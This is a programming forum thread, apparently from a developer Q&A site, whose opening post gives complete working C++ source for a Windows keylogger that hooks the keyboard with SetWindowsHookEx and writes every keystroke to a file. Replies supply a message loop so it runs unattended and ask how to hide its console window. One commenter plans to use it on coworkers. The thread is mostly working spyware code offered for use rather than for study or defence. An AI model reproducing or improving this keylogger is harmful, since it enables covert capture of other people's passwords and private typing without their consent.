1.11M Members

Keylogger using window hooks

 
0
 

A program that uses hooks to detect keypresses and write them to a file.

#define _WIN32_WINNT 0x0500

#include<fstream>
#include<windows.h>

using namespace std;

ofstream out("keys.txt", ios::out);

LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
	PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
	
	// If key is being pressed
	if (wParam == WM_KEYDOWN) {
		switch (p->vkCode) {

			// Invisible keys
			case VK_CAPITAL:	out << "<CAPLOCK>";		break;
			case VK_SHIFT:		out << "<SHIFT>";		break;
			case VK_LCONTROL:	out << "<LCTRL>";		break;
			case VK_RCONTROL:	out << "<RCTRL>";		break;
			case VK_INSERT:		out << "<INSERT>";		break;
			case VK_END:		out << "<END>";			break;
			case VK_PRINT:		out << "<PRINT>";		break;
			case VK_DELETE:		out << "<DEL>";			break;
			case VK_BACK:		out << "<BK>";			break;

			case VK_LEFT:		out << "<LEFT>";		break;
			case VK_RIGHT:		out << "<RIGHT>";		break;
			case VK_UP:			out << "<UP>";			break;
			case VK_DOWN:		out << "<DOWN>";		break;

			// Visible keys
			default:
				out << char(tolower(p->vkCode));

		}
	}

	return CallNextHookEx(NULL, nCode, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {

	// Set windows hook
	HHOOK keyboardHook = SetWindowsHookEx(
		WH_KEYBOARD_LL,
		keyboardHookProc,
		hInstance,
		0);

	MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);

	out.close();

	return 0;
}
 
0
 

Thanks!! I going to play pranks on my coworkers now!!! :)

 
0
 

Very nice snippet !
I didn't know it was actually such a small code ...

 
0
 

Hey it worked when I put messagebox after that code, but else it won't work as I modified it abit to work with my command line program heres the start code:

HWND Handle = GetConsoleWindow();
	HINSTANCE hInstance = (HINSTANCE)GetWindowLong( Handle, GWL_HINSTANCE );
HHOOK KeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0);

That code won't work if I don't put messagebox, is there any other way to make it work than messagebox?

 
0
 

You should not execute any code of yours if the nCode parameter passed to your hook procedure is less than zero (actually it should be equal to HC_ACTION, which is defined as zero in WinUser.h).

 
0
 

Thanks very much for reply, but how should I do it that way that I don't have to put messagebox that it runs other code while its keylogging?

 
0
 

@Silvershaft: In which case, you should put your hook code in a DLL and then load it from an executable. Your executable will control the functionality of the hook.

Search MSDN and CodeProject for samples on the said topic. Also, why are you writing a keylogger?

 
0
 

Is this the right way, just changing the hook in example to my hook?
And I want to try how to make proper keylogger :P Got nothing else nice to code so I decided to try this.

Heres the link http://www.codeproject.com/KB/DLL/hooks.aspx

 
0
 

@Silvershaft: Yes, that's a perfectly written article, which also contains some neatly written theory on hooks and DLLs in general. That must help you understand how it works too. Also, that's a mouse hook (not a keyboard hook), although the fundamentals are the same.

But if you're trying this for the sake of learning, then any hook should do.

 
1
 

MSDN says that GetMessage executed by an application executes the keyboard_hook. Replace the messagebox() by the following code:

MSG messages;
while (GetMessage (&messages, NULL, 0, 0))
{
        /* Translate virtual-key messages into character messages */
        TranslateMessage(&messages);
        /* Send message to WindowProcedure */
        DispatchMessage(&messages);
}
 
0
 

Very nice one i liked it

 
0
 

Can you please tell me the compilor used to compile this program?

 
0
 

I used code blocks compilor and it's giving some errors

 
0
 

I used code blocks compilor and it's giving some errors

I used visual studio, it should work on code blocks but you may have to adjust the settings for it to work.

 
0
 

I replaced the messagebox() with the above code and it is working fine,. but the only problem is that i get a console window and when i close that window then only i get the keys in the output file. is there a way to avoid doing this without the console window getting displayed?

 
0
 

What is the virtual key code for "Alt" key. can anybody help?

 
0
 

What is the virtual key code for "Alt" key. can anybody help?

VK_MENU

 
-1
 

Is there a standard library exist in c++ for sockets? if so can anybody give details about those libraries?

Isn't it about time forums rewarded their contributors?

Earn rewards points for helping others. Gain kudos. Cash out. Get better answers yourself.

It's as simple as contributing editorial or replying to discussions labeled or OP Kudos

You
This is an OP Kudos discussion and contributors may be rewarded
Post:
Start New Discussion
Tags Related to this Article